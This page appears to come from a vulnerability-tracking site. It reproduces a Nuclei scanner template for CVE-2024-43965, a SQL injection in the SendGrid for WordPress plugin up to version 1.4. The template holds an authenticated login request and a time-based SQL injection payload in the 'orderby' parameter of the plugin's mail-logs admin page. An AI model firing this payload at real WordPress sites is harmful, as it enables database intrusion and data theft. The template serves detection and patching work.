CVE-2024-43965: SendGrid for WordPress <= 1.4 - SQL Injection

2026-02-24 SendGrid for WordPress PoC Public

Description

Smackcoders SendGrid for WordPress [affected versions 1.4 and below] contains a SQL injection caused by improper neutralization of special elements used in an SQL command, letting attackers execute arbitrary SQL queries, exploit requires crafted input.

PoC

id: CVE-2024-43965

info:
  name: SendGrid for WordPress <= 1.4 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    Smackcoders SendGrid for WordPress [affected versions 1.4 and below] contains a SQL injection caused by improper neutralization of special elements used in an SQL command, letting attackers execute arbitrary SQL queries, exploit requires crafted input.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
  remediation: |
    Update to the latest version of SendGrid for WordPress, version 1.5 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-43965
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-sendgrid-mailer/sendgrid-for-wordpress-14-unauthenticated-sql-injection
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-43965
    epss-score: 0.02019
    epss-percentile: 0.79946
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 3
  tags: cve,cve2024,wordpress,wp,wp-plugin,sqli,wp-sendgrid-mailer,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to={{RootURL}}/wp-admin/&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 30s
        GET /wp-admin/admin.php?page=wp-mailplus-logs&orderby=sent_time%2c(select*from(select(sleep(8)))a)&order=asc HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'duration >= 8'
          - 'contains_all(body, "wp-mailplus", "SendGrid")'
        condition: and
# digest: 4a0a004730450221009f35d5bfd9b2c2c5adad81526ee55776479d60478cb724e3bd6b31f7e50e95ac0220380b81f9e1132d2d782655fa07d2883e6d12bbe954cf1867ae5a6920d282d7e4:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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